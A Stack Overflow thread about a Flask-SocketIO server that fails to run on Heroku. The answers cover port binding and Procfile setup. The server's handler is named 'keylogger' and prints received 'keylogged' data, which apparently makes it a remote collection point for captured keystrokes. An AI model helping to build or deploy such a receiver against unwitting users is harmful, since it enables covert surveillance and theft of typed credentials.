2

I have a simple Flask-SocketIO server on Python and a SocketIO_Client which emits data to the server, where it gets printed in the console once received. It all works fine on a localhost, however when trying to host the server on Heroku it successfully deploys, but seems to not be running. I get the following error in the CLI logs:

heroku[router]: at=error code=H14 desc="No web processes running" method=GET path="/" host=socket-server1337.herokuapp.com request_id=53e155e2-ba83-4862-84f8-b53014af539b fwd="..." dyno= connect= service= status=503 bytes= protocol=https

And when I try to connect to the server from the client I get this error:

heroku[router]: at=error code=H14 desc="No web processes running" method=GET path="//socket.io/?EIO=3&transport=polling&t=1623103978016-0" host=socket-server1337.herokuapp.com request_id=12d0acb9-b5e2-4cf8-8815-81edec9cf525 fwd="..." dyno= connect= service= status=503 bytes= protocol=https

This is the code of my server:

from flask import Flask, render_template
from flask_socketio import SocketIO, emit

app = Flask(__name__)
app.config['SECRET_KEY'] = 'secret'
socketio = SocketIO(app, cors_allowed_origins="*")

@socketio.on('keylogger')
def print_keystrokes(data):
    print(data["keylogged"])


if __name__ == '__main__':
    socketio.run(app)

This is my Procfile:

web: python Socket.py

I believe the problems lays in my Procfile configuration. I tried using Gunicorn with Gevent according to the flask-socketio documentation:

gunicorn -k geventwebsocket.gunicorn.workers.GeventWebSocketWorker -w 1 Socket:app

as well as with eventlet:

web: gunicorn --worker-class eventlet -w 1 Socket:app

However, nothing of the above worked. Any help would be well appreciated. Thanks in advance.

1 Answers1

0

The problem is that Heroku needs your application to listen on a specific network port that they pass to your in the $PORT environment variable.

One way to address this would be to change the bottom line of your script as follows:

socketio.run(app, port=int(os.environ.get('PORT', 5000)))

You will also need to add an import os at the top of your script.

Miguel Grinberg
  • 65,299
  • 14
  • 133
  • 152
  • Thank you for the time you've put into answering my question. I tried it, however it doesn't seem to fix the problem. Unfortunately I still get the same H14 error. – Specialized Jun 09 '21 at 14:50
  • You have to look at the log to see what other errors you have. – Miguel Grinberg Jun 09 '21 at 16:08
  • The only errors Heroku logs are the two I've quoted in the original question. After the server is deployed and successfully builds, I immediately get the following error: `heroku[router]: at=error code=H14 desc="No web processes running" method=GET path="/" host=socket-server1337.herokuapp.com request_id=b26dfd17-e29d-4bb8-8b32-b5202afffe25 fwd="" dyno= connect= service= status=503 bytes= protocol=https` And upon attempting to connect from the client I get the same error but with different path being rapidly printed every few seconds (from the connection attempts). – Specialized Jun 09 '21 at 17:39
  • 1
    Did you print the port number that you are passing to `socketio.run()`? That has to be equal to the value of the `$PORT` environment variable. – Miguel Grinberg Jun 09 '21 at 19:03
  • I tried with `socketio.run(app, print(port=int(os.environ.get('PORT', 5000))), debug=True)`, however I don't see any output on the Heroku logs apart from the H14 errors. If I try to run the program locally, the output is `None` (but I suppose it should differ if the program isn't run locally). Sorry for the late response! – Specialized Jun 11 '21 at 15:09
  • You need to print on a separate line, you can't put the print inside the run function. – Miguel Grinberg Jun 11 '21 at 16:39
  • Thought so, but that was a desperate attempt after nothing else worked either. I tried printing it before the run function, but there was no output in the Heroku logs. – Specialized Jun 11 '21 at 19:41
  • That's really not possible. What did you print exactly? – Miguel Grinberg Jun 11 '21 at 23:01
  • `print(int(os.environ.get('PORT', 5000)))` right before the run function. The heroku logs output is as follows: `2021-06-11T19:33:20.000000+00:00 app[api]: Build succeeded` `2021-06-11T19:33:25.787768+00:00 heroku[router]: at=error code=H14 desc="No web processes running" method=GET path="/" host=socket-server1337.herokuapp.com request_id=045517c4-db05-4dbb-a6fb-e9a6272006e8 fwd="..." dyno= connect= service= status=503 bytes= protocol=https` My Procfile is the same as in the original post: `web: python Socket.py`, but I've also tried it with Gunicorn and Eventlet, output is the same. – Specialized Jun 12 '21 at 01:39